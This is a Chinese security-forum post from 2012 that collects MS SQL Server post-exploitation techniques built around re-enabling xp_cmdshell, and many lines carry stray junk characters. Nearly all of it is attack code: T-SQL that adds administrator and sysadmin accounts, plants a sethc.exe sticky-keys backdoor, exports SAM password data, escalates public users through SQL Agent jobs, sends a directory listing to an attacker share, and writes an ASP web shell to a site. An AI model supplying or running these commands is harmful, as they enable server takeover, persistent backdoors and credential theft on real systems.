找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2329|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号3 D! _; \* ^# Y, ]8 {+ g) c! ]
恢复方法:查询分离器连接后,
4 C/ f: q, n6 R: F; }5 ^第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int   E# x% P( k; N2 G/ |! f, P
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
; c0 A% a5 Q7 h8 k  c0 b0 [然后按F5键命令执行完毕6 Q+ E% I# X: c* e8 m. r# U4 L
0 F6 {8 ^( q/ v7 @+ i3 n0 D' {
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
( m; f! W: {$ o/ c' Z恢复方法:查询分离器连接后,
# |! I8 V/ [0 V. M! y# V1 K第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
  c# A- d3 c8 w( B% q第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
. h+ G- {- l2 A0 Z然后按F5键命令执行完毕3 E+ z0 n4 s2 t; X) ^/ }9 `

3 K; I+ D( ~4 v6 ^4 n3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)1 a* Y2 o& d) U( c$ I# d. a! a
恢复方法:查询分离器连接后,, k4 Y1 h# x$ z: ~% R. g' _! H
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'7 D9 I0 e6 d6 e, s; B
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       2 u9 |$ r: I) r- t* o+ J6 W
然后按F5键命令执行完毕* K1 V& o% c. _+ ^" E6 T
% `5 x, W$ e" z/ Q# d! x
4 终极方法.9 U  d0 H+ x2 Z# n+ E9 i# s8 @
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:* ?! [9 D6 l  h7 _
查询分离器连接后,0 X4 {" r& ^5 H0 i9 d9 c+ M' P
2000servser系统:
2 O9 |3 u9 K. q; T* \0 `% g/ u0 Bdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'1 y( C& [6 V0 L! Y" j7 x/ b
- E! P. x( q8 N) _
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
7 \0 @; w$ {, N, @7 h
6 C8 o  ^+ S3 P) r3 H- h8 i1 Yxp或2003server系统:. P6 c: E# S8 ?& f7 L

4 _; `9 Z. z" Ldeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
9 t( V5 k. Z% {2 T0 N1 _  u# ]% Z. l, }' x8 ]3 Y" T& A
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
1 |$ b6 u" L3 |1 y8 v% j2 B5 b! t$ T$ c+ C& i4 p

- m& l) ]! |$ B7 x4 z1 h/ {五个SHIFT
+ H; p, V; t* _+ K; ndeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';$ {0 r9 M3 c% z" y" p. w6 c: X

# }. e# r# i; y6 n5 m2 a8 vdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; ' k/ F; P+ c; f0 i

: [+ i& R+ \& M4 M' axp_cmdshell执行命令另一种方法, W! X* Q% E& h
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' . ~3 E. _) e$ W3 W; W9 o

$ w0 P+ E; U$ L) N0 m$ `判断存储扩展是否存在
( k9 v. u9 ?9 s! s5 R6 TSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
# \5 L# x" R1 x# O& x" I$ K9 I返回结果为1就OK, c! A' E4 B1 ?

7 x2 D6 g! E  Y' ?8 |' Q
9 M; _/ G. v0 N( S9 B上传xplog70.dll恢复xp_cmdshell语句:
5 M/ @- C  A. }& Msp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'; F* W7 J6 Q  `5 ^* a8 O

$ ~8 B/ T8 s+ ?否则上传xplog7.0.dll4 O, m! ^% {% ^$ U; F/ P! p
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
' i8 G- h& P$ l  Y' c
  k4 G" r) M% s3 M1 H+ o, K9 O6 G) l7 s# _1 W1 R& T# |$ \- Z' `
. k) Y3 p) t8 ^% X! a
首先开启沙盘模式:
  v, S' H) A$ ?- cexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1. {1 R3 a5 z$ o$ ^. S" I
# {1 K' T, P' U$ |; E9 \8 a: h
然后利用jet.oledb执行系统命令: g4 p0 N" B1 R0 q2 H8 o' }+ |' w
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
4 e: j9 |( _; m返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了( Y- I' R( Q# B$ X

( N5 q# q# t& x- J" ?3 ]# l% k6 y4 c* J& c4 S5 Y' L
1 Q2 s) A" @1 ]. }2 G
恢复过程sp_addextendedproc 如下:
+ O& U2 N0 z* ?) `# i# y; |* Rcreate procedure sp_addextendedproc --- 1996/08/30 20:13 ! ^: j# k- w1 H" p
@functname nvarchar(517),/* (owner.)name of function to call */
4 L( K% |+ A; ?4 @( F@dllname varchar(255)/* name of DLL containing function */
( {6 c' S# A" Aas , t9 O1 f2 x6 H2 }# I( R* V& R
set implicit_transactions off * k. b4 U1 ~2 f; Z
if @@trancount > 0
3 \0 k9 f6 \1 Kbegin 5 l1 S% O5 I" a4 b
raiserror(15002,-1,-1,'sp_addextendedproc') 7 a4 c6 O% P" s( D
return (1) 3 v( C# _: N- x
end
, g! L/ d5 w3 B+ \- P/ idbcc addextendedproc( @functname, @dllname)
- ^; e7 N8 f! h" s! Jreturn (0) -- sp_addextendedproc
4 f0 O+ U- n. M2 {GO
* c- j$ x7 ~9 h% d
' w4 Z# j- m& u; s. Z: Q" n4 L" \( v
8 O* M( y# t" l& }+ e
导出管理员密码文件. a5 ]. z; u1 r* D8 }
sa默认可以读sam键.应该。
! h3 W" ^; l9 F& `) V" w) j: e! U( d  yreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg4 P; O8 g6 {0 C4 X* y' n
net user administrator test' @" [" H% _$ q- M* o
用administrator登陆.! B9 e% J0 g& I* b1 m, |  g$ k, v9 y1 l# b
用完机器后0 T5 L$ \2 q& k8 i! k3 G) ?
reg import c:\test.reg
- y. V7 {1 a' n& @5 R# {根本不用克隆.5 v5 e) I( @0 W. R+ L4 N
找到对应的sid. 4 Z3 L! f) G3 ]# L

9 w0 Z" T" h  @4 F# w1 W7 s# e! v% S$ E/ \

' ], C$ W1 j/ w, u1 G- g恢复所有存储过程& n7 h$ z9 [+ @. p2 q
use master $ r" G2 d3 X4 \* P
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
6 n  U8 I  V  _exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
7 Q; e7 P* G$ L" F9 Y6 v  i# fexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
5 C7 p. G$ h+ A% N- A9 U8 q& Rexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' 3 |5 B2 P4 X6 C) i' h, d
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
* s1 d- V/ G, q8 b! }exec sp_addextendedproc sp_OACreate,'odsole70.dll'
7 ?2 C2 C$ z( f4 h" x/ {, Bexec sp_addextendedproc sp_OADestroy,'odsole70.dll' 0 p9 G2 H  F. ^" T
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
( M7 U) }, M& Y9 p- lexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
7 o) s7 Z% l6 h3 zexec sp_addextendedproc sp_OAMethod,'odsole70.dll'
; n* C( C# y% X# a/ mexec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
( U* \! X7 O7 @9 l1 R# Iexec sp_addextendedproc sp_OAStop,'odsole70.dll'
8 b% Z3 o8 [1 F# h9 h) z6 I& nexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 5 H7 {. ^/ S3 C9 l1 w* m
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 6 J7 ]  Y9 U$ }; T/ O7 g8 X
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' , R- ^7 [. i! L9 A0 n
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' ( i& t# O: w3 R
exec sp_addextendedproc xp_regread,'xpstar.dll'
# e. p/ T* m8 u6 lexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' , }  f; ~- ~& A1 Q
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
2 a, w  t$ }3 H/ Gexec sp_addextendedproc xp_availablemedia,'xpstar.dll'
4 T* O- R$ X6 M# s% }% j& |) _
+ ?5 ^5 a6 }1 i# Q0 h% z% d0 ~! G
% c% M- B) A. i& u1 R6 s! t  @6 F建立读文件的存储过程& P1 K0 ~' [7 X9 b. ^: ]& Q
Create proc sp_readTextFile @filename sysname# n$ n, Q6 U4 f- j
as7 R; _- [* `, d+ R/ m' X- {
: M9 B3 {% f$ d; T9 r
    begin 0 K( S! J. O. F9 ~7 h
    set nocount on
4 Y& J) z  d* W5 h! R9 g    Create table #tempfile (line varchar(8000))
0 _* C; B% X; ^    exec ('bulk insert #tempfile from "' + @filename + '"')8 S, ~7 o7 a* O. J
    select * from #tempfile
' j, v8 A  v0 S) r" x/ ?1 A    drop table #tempfile
+ _. g9 Q' }. NEnd* g) a- T2 a) n7 n2 D
  O1 r5 F% x" a
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
5 [- s* C# k7 ]) h& ]查看登录用户
+ a1 p; |" Z  f6 ASelect * from sysxlogins" l! `$ q9 X3 b6 {
$ D# d: m+ c& K" @0 q
把文件内容读取到表中- N. e3 `; N, j* A# {: Q
BULK INSERT tmp from "c:\test.txt"
; O: e4 ?( s+ g# N& RdElete from 表名 清理表里的内容, p5 B5 Z  E; S9 W2 r) R
create table b_test(fn nvarchar(4000));建一个表,字段为fn: }/ C! z4 u4 A
. g) V* ~% F5 Z- v- v) P) X2 A
! t3 |) b9 X3 C5 r: S1 w9 a! a
加sa用户& t0 M' M. y2 ?% C5 q
exec master.dbo.sp_addlogin user,pass;
" u) L. |6 n( R! D' Cexec master.dbo.sp_addsrvrolemember user,sysadmin
, Y5 O6 x5 E* T& v( ~
  z- n1 }+ w$ ^/ a9 X) g, C) f  t) ]" ]

) X: @" L1 s' r# }读文件代码" f! z" |! @5 C9 l- i
declare @o int, @f int, @t int, @ret int; _8 m! ?0 x7 f" N9 ]: X
declare @line varchar(8000)
) Q4 M4 f% g) [! {5 X! @exec sp_oacreate 'scripting.filesystemobject', @o out
! c; L* t& T4 t. i7 D8 L; eexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 13 ^( ?/ T+ S$ H9 T6 B
exec @ret = sp_oamethod @f, 'readline', @line out
" n0 A7 N. D* i5 M% Xwhile( @ret = 0 )% `3 j0 ?3 P! O8 X  j
begin$ Y) m2 P, Q9 q: V' S2 b
print @line
+ N  N! Y& U) I1 texec @ret = sp_oamethod @f, 'readline', @line out
* J; e/ |. R, k8 ]- v, ?6 }end
% m. W9 Z& L3 B9 M& o: N, s# o7 g7 A) H1 s1 {/ w
  J1 d7 z2 G( m1 d  g" A
写文件代码:
0 N5 e  Q$ @+ j  Pdeclare @o int, @f int, @t int, @ret int
! Z8 E8 J1 @# Q+ ~$ J$ yexec sp_oacreate 'scripting.filesystemobject', @o out
2 L8 Z$ r9 o2 N/ G" Q$ e+ `, J( Qexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1: }6 J% f+ F" n9 R) l; r; L6 h
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
8 h2 ^  _" H) h% h& p4 c& E( J
, r& E4 e; t. x& w1 V8 N) D  U( u4 e; }! |& j0 |
添加lake2 shell5 t6 ~: }5 H" d1 h
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'. D5 G; `3 \% V: s
sp_dropextendedproc xp_lake2. w# Y1 k# p! A( [$ E
EXEC xp_lake2 'net user'" ?1 |' u! e' u3 T9 H" J2 z' z

1 _$ Z6 k4 o, a/ N
4 ^2 c, a* @1 X: W( `8 a5 l得到硬盘文件信息
# C2 p5 c: @8 k6 t--参数说明:目录名,目录深度,是否显示文件 9 u* k/ V4 v8 v
execute master..xp_dirtree 'c:' " {% c6 L+ B9 }) K4 P5 Y  G
execute master..xp_dirtree 'c:',1
: k  }9 p% N( r# h+ Z' oexecute master..xp_dirtree 'c:',1,1 , E( V3 z+ G7 v" Y6 X2 l& f" M

7 G" G, k2 `4 i
9 c" b1 U' E, D' j1 p# l读serv-u配置信息8 `3 x% K( [( ?
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
' ?$ ^* m9 w5 t3 J5 Gexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'  t+ K. ?3 p5 q, o/ P  [

& `7 |+ d* l- p: {1 m) z4 \0 o, m# C通过xp_regwrite写SHIFT后门
, P( Q" i/ g2 l5 D2 K. yexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
" q" i2 z  E+ H, ^9 `* M2 o$ t2 }3 X; H4 X. M6 k" {3 y: G, c) _5 }
+ V0 W$ K" h5 D+ U' f9 g) E% g
! J# N. j% N5 ~3 T9 N# t7 r" [
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';: S# j4 l" C2 g  Z5 e& s6 N
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了' `, }# }9 b  i7 q! H, Z. I
9 S, P5 a/ c$ U; [7 }
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'4 g8 A( P7 ]" Y+ C
+ U. p' d. c% e% p
3 q) A4 R" L6 T

6 M8 j5 T+ s. F7 `, C; }sql server 2005下开启xp_cmdshell的办法
9 v  c: l+ H% d: P3 [% ~8 j0 T, k5 z
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
  P2 U" I3 J0 s& }+ X( p6 h# b0 d
+ g) n+ W: {9 cSQL2005开启'OPENROWSET'支持的方法:
" r+ `( v0 p- A+ [4 i5 t: F. o+ i2 b! u, I- o
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
  C" V8 p) R6 ?! j4 l- Z) p9 o2 N
5 M% o+ e/ d$ C! B* Z! \SQL2005开启'sp_oacreate'支持的方法:6 M& I2 L9 ?2 d, A3 K# @

+ x) {: e5 p! E% n; v8 T7 Rexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;. {( j8 t7 Z( x3 j+ n$ b+ }

) w5 r: i% @8 F1 Q* f
, `" Y- U# @3 p
7 e: B8 s* r& w  p2 M/ `4 h+ i& `2 p& V; V; E7 t

. \& l9 a! J4 D
( d# }3 J" _6 w! E. T
' ^% M2 H+ i7 l$ Y
- w# l: o1 v) Q$ i  _( B% h. Y. d. q4 c8 q; V
& V, P1 s- B0 T; H9 d: d

+ }+ x( z! B3 n1 O! T0 x& U$ D) W" n! _( l0 H9 [8 V, m
/ S4 ~+ ]" {( v& B. }$ U6 P) J

$ i, O; M; I( \3 H' b! A. X% ~: R8 J8 D1 `
3 P2 O& Q- z0 m9 {+ v" N
3 _' R8 n: P$ d: g9 A8 K
0 K# R$ k! |1 Z! G7 ]
# X. t4 x1 }- C1 a
$ r/ e! M7 N: W- t0 ~, O

1 V) N! z+ K' y& w5 K' j5 U( L) P- m3 l; j% v( E/ ~0 y. [

8 W0 N* c7 r) i- O4 b6 }: W; X$ }2 r3 N+ {
以下方面不知道能不能成功暂且留下研究哈:: x" g% S0 b7 n/ T7 D6 X& {( G
4)
) {8 G! y( ]2 e) _! Zuse msdb; --这儿不要是master哟
  g! C6 Z0 F& k) P3 F0 q( yexec sp_add_job @job_name= czy82 ;" J+ F( I9 _# ~3 P8 ?
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;# G" S% X- L9 l
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;, y0 ], o5 Q) G) t$ x; ]+ X
exec sp_start_job @job_name= czy82 ;
* ^3 B9 h! @& e# J0 P) J. f6 e) i6 H. u3 w
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以! W& M( }4 O, D+ Z
执行tsql语句了.4 O$ P% [6 |. J. ^$ `
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
6 a7 I) \9 S7 Z/ q0 i- S2 X; v第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧); B' `  q" ?4 O
net start SQLSERVERAGENT
* v0 \2 T$ r6 q' E+ o! N* }! l- Q, t& M' X9 B, O# ]) D
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的) h" V- z+ u# D
USE msdb
% j; Y8 v& X" XEXEC sp_add_job @job_name = GetSystemOnSQL ,
0 m) T, S3 q7 [2 q$ k@enabled = 1,
% k3 \9 \& T0 y' _( s@description = This will give a low privileged user access to' A( ?) C/ H8 S8 H* k3 @% N
xp_cmdshell ,
1 z( ]. i: V* E9 a% U' w* I@delete_level = 1  X+ F' h, j2 D, u9 [# B' r
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,5 P' m  d- R$ I, t
@step_name = Exec my sql ,! d/ ]$ K! _1 I4 _5 s& `
@subsystem = TSQL ,
$ h* ?, ]2 e9 o- h2 p2 Y$ P- g@command = exec master..xp_execresultset N select exec0 ~- |# g) H( U0 m" N. N' U
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
/ Y4 u/ A' ~7 A; w/ u/ L$ IEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
# Z1 x2 `& E( H: \" r@server_name = 你的SQL的服务器名
/ J2 o  Q0 Z6 z2 uEXEC sp_start_job @job_name = GetSystemOnSQL 8 q1 w/ `! {& A5 X
7 S7 g- T' U5 k; Q
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
* s( ^7 n6 w) w/ A( [+ H+ H才让我们可以以public执行xp_cmdshell1 M. R* x  b& d: A' v
! G: j0 U5 G' E- j/ x, V+ m7 d
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
6 J+ m' q. _# g: R3 U+ B在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
) I' \6 A( W# l& w1 x
7 a! u/ ?/ F1 y5 h6 [USE msdb
  d8 a. N( X) T7 B0 M$ LEXEC sp_add_job @job_name = ArbitraryFilecreate ," o. }$ v& a4 S2 Y
@enabled = 1,
/ v: }4 \' Y% f" a' d6 r4 W3 k@description = This will create a file called c:\sqlafc123.txt ,* a1 P$ ]1 M/ K  K$ m
@delete_level = 1
# {3 c% d1 N% z  B( x0 \( REXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
! l& K' }' K; L@step_name = SQLAFC ,
) G8 i  h. g2 |@subsystem = TSQL ,0 @  `/ a% ?& i2 P: ~) o# K& K8 Q, @7 M
@command = select hello, this file was created by the SQL Agent. ,
: p, \1 K4 \, J) A@output_file_name = c:\sqlafc123.txt 4 _. Q5 f- l* z8 m) W; g" M
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,2 j+ f1 L& o  o
@server_name = SERVER_NAME
" b3 U: r& Z9 G- {5 kEXEC sp_start_job @job_name = ArbitraryFilecreate
9 U3 G' J2 Y$ w8 h5 \! i8 E+ E4 I  T7 p( L0 \
如果subsystem选的是:tsql,在生成的文件的头部有如下内容  h7 y$ X* a3 ~( ^% w

* m5 `3 ~4 h, F% N??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19) e0 ]- s( L* U  H2 _: K, K5 ^
----------------------------------------------
3 U9 \6 j3 h- G& k3 Ehello, this file was created by the SQL Agent.
6 ?, }" z) b" _4 p* N( o3 D  ~$ O2 a1 B3 _6 a7 e
(1 ?????)1 A. w* q# a5 l& X

. Z8 ~3 c2 j5 v: F+ f. k所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员$ O. w) g  w/ T6 w; g
命令的vbs文件到启动目录!
. C" T' M2 R- X  z( T( B; s% |# J0 L! b
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)) Z# O- W$ {. J; ^/ |- H$ p! x6 @
关于sp_MScopyscriptfile 看下面的例子( J( Y' ]! `3 l; v
declare @command varchar(100)
* Q0 C% T! S) }7 n2 [declare @scripfile varchar(200) 4 |" H& n$ M; k
set concat_null_yields_null off
1 w9 i2 I& p/ Lselect @command= dir c:\ > "\\attackerip\share\dir.txt" 6 w0 t7 _7 l( H2 _% k; ?; f  w
select @scripfile= c:\autoexec.bat > nul" | @command | rd " 4 [* M5 v1 P6 x
exec sp_MScopyscriptfile @scripfile ,
& C; X0 c1 R* R; I5 U
- f6 f# Y0 f: k: J7 k这两个东东都还在测试试哟4 a" I$ s7 t2 Y3 s) H
让MSSQL的public用户得到一个本机的web shell
- P; f% ~5 b8 c6 @+ H1 u, y# m3 I
% V( H' R# n# r( k4 gsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
1 x" ~& I# l. \3 p9 H--@query= select <img src=vbscript:msgbox(now())>
9 R, k1 i, M5 G, @--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
. j4 z2 j2 h" w- Q8 T; d: U" P. F' _@query= select ) l6 v0 a: a( w$ D7 d
<%On Error Resume Next ; u. ]6 Z. Q. }. ^
Set oscript = Server.createObject("wscript.SHELL")
! u- W; D, H$ r9 M" E# wSet oscriptNet = Server.createObject("wscript.NETWORK") / }8 m6 ]6 s1 b1 U
Set oFileSys = Server.createObject("scripting.FileSystemObject")
! x2 G; ~6 e/ a5 N( dszCMD = Request.Form(".CMD")
1 n% i5 r- D+ ]" D# T! m* E- v' bIf (szCMD <>"")Then
1 X+ ~9 q# b0 S& W: x) OszTempFile = "C:\" & oFileSys.GetTempName()
" h. z$ [% }3 a% l, D7 ACall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) ' c$ v  k- o2 p* t. U
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
" s' c7 z7 F/ e) _- o6 kEnd If %>
" ]& q) }4 I* {: Q+ z<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> 0 i' U& s) J# V  ]( }# L# s
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
' O1 w# L2 J2 q8 Q0 v1 \& `! j</FORM><RE> ) m4 r0 e. ?* c
<% If (IsObject(oFile))Then
2 ]3 m& b8 M, B1 TOn Error Resume Next ' Z( E- r. y5 `+ x% K2 j6 o2 r' _
Response.Write Server.HTMLEncode(oFile.ReadAll)
: t% Z9 R, X7 h: H5 r/ H7 ZoFile.Close
# r- x2 h* h" j3 t" q) n; M# B3 cCall oFileSys.deleteFile(szTempFile, True)
. D% Z* h$ |( B! OEnd If%>
# {- j5 `) X6 o4 ?& W% S</BODY></HTML> 3 m6 E. i; }% l* x3 Y: H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表